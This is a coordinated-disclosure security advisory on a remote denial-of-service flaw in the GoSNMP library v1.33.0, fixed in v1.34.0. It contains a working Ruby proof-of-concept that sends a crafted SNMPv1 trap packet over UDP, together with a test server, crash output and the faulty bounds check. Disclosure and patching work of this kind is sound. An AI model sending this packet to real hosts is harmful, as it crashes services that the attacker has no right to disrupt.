GoSNMP Denial of Service Vulnerability Amplia Security - Amplia Security Research Advisory (AMPLIA-ARA111721) Advisory ID: AMPLIA-ARA111721 Advisory URL: https://www.ampliasecurity.com/advisories/gosnmp-dos-vulnerability-ara111721.html, https://www.ampliasecurity.com/advisories/AMPLIA-ARA111721.txt Date Published: 11-17-2021 Vendors Contacted: gosnmp (https://www.github.com/gosnmp/gosnmp) (notified 11-11-2021) Release Mode: Coordinated Release Last Updated: 11-18-2021 Index ----- 1. Vulnerability Information 2. Vulnerability Description 3. Vulnerable Systems 4. Vendor Information, solutions and workarounds 5. Credits 6. Technical Description 7. Disclaimer 1.Vulnerability Information --------------------------- Impact: A malformed SNMPv1 trap packet can cause a Denial-of-Service condition in software using the gosnmp library. Remotely Exploitable: Yes Bugtraid ID: CVE ID: 2.Vulnerability Description ---------------------------- GoSNMP is an SNMP library fully written in Go used by different server software. A malformed SNMPv1 trap packet can cause an unhandled error resulting in a Denial-of-Service condition affecting software using the library. Successful exploitation can be performed remotely without authentication using a single UDP packet. 3.Vulnerable Systems -------------------- This vulnerablity was tested against GoSNMP v1.33.0. 4.Vendor Information, Solutions and Workarounds ----------------------------------------------- This issue was fixed in GoSNMP v1.34.0 (released 2021-11-17). GoSNMP library https://github.com/gosnmp/gosnmp References https://github.com/gosnmp/gosnmp/issues/381 https://github.com/gosnmp/gosnmp/commit/03d926140868951dc4a10397a28f442f046529e5 https://github.com/gosnmp/gosnmp/releases/tag/v1.34.0 5.Credits --------- This vulnerability was discovered by Amplia Security. Special thanks to the GoSNMP team for their immediate response. 6. Technical Description ------------------------ GoSNMP is an SNMP library fully written in Go used by different server software. A malformed SNMPv1 trap packet can cause an unhandled error resulting in a Denial-of-Service condition affecting software using the library. The following PoC script can be used to reproduce the issue: File ampliasecurity_snmptrap_dos_poc.rb: # Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb # PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet require 'socket' puts "Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb" puts "PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet" puts exploit = [0x30,0x2E,0x02,0x01,0x00,0x04,0x29,0x70,0x75,0x62,0x6C,0x69,0x63,0xA4,0x21,0x06,0x0E,0x2B,0x06,0x01,0x04,0x01,0x94,0x3C,0x01,0x01,0x1B,0x01,0x0B,0x10,0x00,0x40,0x04,0xC0,0xA8,0x01,0xBA,0x02,0x01,0x06,0x02,0x01,0x11,0x43,0x01,0x64,0x30,0x00] sock = UDPSocket.new host = "hostname" sock.connect(host, 162) sock.send(exploit.pack("c*"), 0) puts "Packet sent!" Sample server, File server.go: package main import ( "fmt" "net" "log" "os" "github.com/gosnmp/gosnmp" ) func handle(packet *gosnmp.SnmpPacket, addr *net.UDPAddr) { fmt.Println("Received!") } func main() { fmt.Println("Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets...") gosnmp.Default.Logger = gosnmp.NewLogger(log.New(os.Stdout, "", 0)) tl := gosnmp.NewTrapListener() tl.OnNewTrap = handle tl.Params = &gosnmp.GoSNMP{ Transport: "udp", Community: "public", Retries: 3, ExponentialTimeout: true, MaxOids: 100, Version: gosnmp.Version1, Logger: gosnmp.NewLogger(log.New(os.Stdout, "", 0)), } tl.Listen("0.0.0.0:162") } Sample Output: # go run server.go Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets... $ ruby ampliasecurity_snmptrap_dos_poc.rb Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet Packet sent! $ # go run server.go Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets... Packet sanity verified, we got all the bytes (48) parseRawField: version Parsed version 0 parseRawField: community Parsed community public?!+< @???Cd0 panic: runtime error: index out of range [48] with length 48 goroutine 1 [running]: github.com/gosnmp/gosnmp.(*GoSNMP).unmarshalPayload(0xc000090000, {0xc000092000, 0x30, 0x1000}, 0x30, 0xc000094000) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/marshal.go:1010 +0x6b6 github.com/gosnmp/gosnmp.(*GoSNMP).UnmarshalTrap(0xc000090000, {0xc000092000, 0x30, 0x1000}, 0x0) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:395 +0x337 github.com/gosnmp/gosnmp.(*TrapListener).listenUDP(0xc000060140, {0x536d40, 0x53564b}) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:210 +0x294 github.com/gosnmp/gosnmp.(*TrapListener).Listen(0xc000060140, {0x536d40, 0xc}) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:349 +0x17d main.main() /poc/server.go:36 +0x279 exit status 2 $ Vulnerable code, File marshal.go: (...) func (x *GoSNMP) unmarshalPayload(packet []byte, cursor int, response *SnmpPacket) error { if len(packet) == 0 { return errors.New("cannot unmarshal nil or empty payload packet") } if cursor > len(packet) { return fmt.Errorf("cannot unmarshal payload, packet length %d cursor %d", len(packet), cursor) } if response == nil { return errors.New("cannot unmarshal payload response into nil packet reference") } // Parse SNMP packet type requestType := PDUType(packet[cursor]) At this point 'cursor' == len(packet) (48 in this example), this condition is not checked; next the panic is thrown when requestType := PDUType(packet[cursor]) is executed; crashing the program using the gosnmp library. This causes a DoS condition. Server software packages were found vulnerable to this DoS issue. 7.Disclaimer ------------ The contents of this advisory are copyright (c) 2021 Amplia Security (https://www.ampliasecurity.com), and may be distributed freely provided that no fee is charged for distribution and proper credit is given.